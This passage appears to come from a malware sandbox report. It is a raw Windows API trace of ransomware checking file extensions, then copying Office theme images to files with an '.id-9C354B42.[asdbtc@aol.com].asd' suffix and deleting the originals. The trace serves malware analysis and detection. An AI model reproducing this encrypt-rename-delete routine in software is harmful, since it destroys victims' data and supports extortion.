(lpString1=".xls", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".xlsx") returned 5 [0054.034] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.034] lstrlenW (lpString=".ppt") returned 4 [0054.034] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".zip") returned 4 [0054.034] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".rar") returned 4 [0054.034] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".bz2") returned 4 [0054.034] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.034] lstrlenW (lpString=".7z") returned 3 [0054.034] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".dbf") returned 4 [0054.035] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString=".1cd") returned 4 [0054.035] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString=".jpg") returned 4 [0054.035] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.035] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.035] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.035] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=3957) returned 1 [0054.035] CloseHandle (hObject=0x1f4) returned 1 [0054.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0054.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.036] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.036] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.037] GetLastError () returned 0x0 [0054.037] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xf75, lpOverlapped=0x0) returned 1 [0054.039] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf80, lpOverlapped=0x0) returned 1 [0054.040] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.040] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.040] SetEndOfFile (hFile=0x20c) returned 1 [0054.040] CloseHandle (hObject=0x20c) returned 1 [0054.041] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.041] SetEndOfFile (hFile=0x1f4) returned 1 [0054.041] CloseHandle (hObject=0x1f4) returned 1 [0054.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0054.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.042] lstrlenW (lpString=".doc") returned 4 [0054.042] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.042] lstrlenW (lpString=".docx") returned 5 [0054.042] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.042] lstrlenW (lpString=".pdf") returned 4 [0054.042] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.042] lstrlenW (lpString=".xls") returned 4 [0054.042] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.042] lstrlenW (lpString=".xlsx") returned 5 [0054.042] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.042] lstrlenW (lpString=".ppt") returned 4 [0054.042] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.042] lstrlenW (lpString=".zip") returned 4 [0054.042] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.042] lstrlenW (lpString=".rar") returned 4 [0054.042] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.042] lstrlenW (lpString=".bz2") returned 4 [0054.042] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.042] lstrlenW (lpString=".7z") returned 3 [0054.042] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.043] lstrlenW (lpString=".dbf") returned 4 [0054.043] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.043] lstrlenW (lpString=".1cd") returned 4 [0054.043] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.043] lstrlenW (lpString=".jpg") returned 4 [0054.043] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.043] lstrlenW (lpString=".doc") returned 4 [0054.043] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.043] lstrlenW (lpString=".docx") returned 5 [0054.043] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.043] lstrlenW (lpString=".pdf") returned 4 [0054.043] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.043] lstrlenW (lpString=".xls") returned 4 [0054.043] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.043] lstrlenW (lpString=".xlsx") returned 5 [0054.043] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.043] lstrlenW (lpString=".ppt") returned 4 [0054.043] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.043] lstrlenW (lpString=".zip") returned 4 [0054.043] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.043] lstrlenW (lpString=".rar") returned 4 [0054.044] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.044] lstrlenW (lpString=".bz2") returned 4 [0054.044] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.044] lstrlenW (lpString=".7z") returned 3 [0054.044] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.044] lstrlenW (lpString=".dbf") returned 4 [0054.044] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.044] lstrlenW (lpString=".1cd") returned 4 [0054.044] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0054.045] lstrlenW (lpString=".jpg") returned 4 [0054.045] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.045] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.045] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.046] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=33277) returned 1 [0054.046] CloseHandle (hObject=0x1f4) returned 1 [0054.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0054.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.047] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.047] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.047] GetLastError () returned 0x0 [0054.047] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x81fd, lpOverlapped=0x0) returned 1 [0054.049] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x8200, lpOverlapped=0x0) returned 1 [0054.051] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.051] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.051] SetEndOfFile (hFile=0x20c) returned 1 [0054.051] CloseHandle (hObject=0x20c) returned 1 [0054.051] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.051] SetEndOfFile (hFile=0x1f4) returned 1 [0054.052] CloseHandle (hObject=0x1f4) returned 1 [0054.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0054.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.053] lstrlenW (lpString=".doc") returned 4 [0054.053] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.053] lstrlenW (lpString=".docx") returned 5 [0054.053] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.053] lstrlenW (lpString=".pdf") returned 4 [0054.053] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.053] lstrlenW (lpString=".xls") returned 4 [0054.053] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.053] lstrlenW (lpString=".xlsx") returned 5 [0054.053] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.053] lstrlenW (lpString=".ppt") returned 4 [0054.053] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.053] lstrlenW (lpString=".zip") returned 4 [0054.053] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.053] lstrlenW (lpString=".rar") returned 4 [0054.053] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.053] lstrlenW (lpString=".bz2") returned 4 [0054.053] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.053] lstrlenW (lpString=".7z") returned 3 [0054.053] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.053] lstrlenW (lpString=".dbf") returned 4 [0054.053] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.053] lstrlenW (lpString=".1cd") returned 4 [0054.053] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.053] lstrlenW (lpString=".jpg") returned 4 [0054.054] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.054] lstrlenW (lpString=".doc") returned 4 [0054.054] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.054] lstrlenW (lpString=".docx") returned 5 [0054.054] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.054] lstrlenW (lpString=".pdf") returned 4 [0054.054] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.054] lstrlenW (lpString=".xls") returned 4 [0054.054] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.054] lstrlenW (lpString=".xlsx") returned 5 [0054.054] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.054] lstrlenW (lpString=".ppt") returned 4 [0054.054] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.054] lstrlenW (lpString=".zip") returned 4 [0054.054] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.054] lstrlenW (lpString=".rar") returned 4 [0054.054] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.054] lstrlenW (lpString=".bz2") returned 4 [0054.054] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.054] lstrlenW (lpString=".7z") returned 3 [0054.054] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.054] lstrlenW (lpString=".dbf") returned 4 [0054.054] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.054] lstrlenW (lpString=".1cd") returned 4 [0054.054] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0054.054] lstrlenW (lpString=".jpg") returned 4 [0054.055] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.055] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.055] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.055] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1453) returned 1 [0054.055] CloseHandle (hObject=0x1f4) returned 1 [0054.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0054.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.055] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.056] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.057] GetLastError () returned 0x0 [0054.057] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x5ad, lpOverlapped=0x0) returned 1 [0054.059] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0054.060] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.060] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.060] SetEndOfFile (hFile=0x20c) returned 1 [0054.067] CloseHandle (hObject=0x20c) returned 1 [0054.068] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.068] SetEndOfFile (hFile=0x1f4) returned 1 [0054.068] CloseHandle (hObject=0x1f4) returned 1 [0054.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.069] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0054.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.069] lstrlenW (lpString=".doc") returned 4 [0054.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.069] lstrlenW (lpString=".docx") returned 5 [0054.069] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.069] lstrlenW (lpString=".pdf") returned 4 [0054.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.069] lstrlenW (lpString=".xls") returned 4 [0054.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.069] lstrlenW (lpString=".xlsx") returned 5 [0054.069] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.069] lstrlenW (lpString=".ppt") returned 4 [0054.069] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.069] lstrlenW (lpString=".zip") returned 4 [0054.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.069] lstrlenW (lpString=".rar") returned 4 [0054.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.070] lstrlenW (lpString=".bz2") returned 4 [0054.070] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.070] lstrlenW (lpString=".7z") returned 3 [0054.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.070] lstrlenW (lpString=".dbf") returned 4 [0054.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.070] lstrlenW (lpString=".1cd") returned 4 [0054.070] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.070] lstrlenW (lpString=".jpg") returned 4 [0054.070] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0054.070] lstrlenW (lpString=".doc") returned 4 [0054.070] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.070] lstrlenW (lpString=".docx") returned 5 [0054.070] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.070] lstrlenW 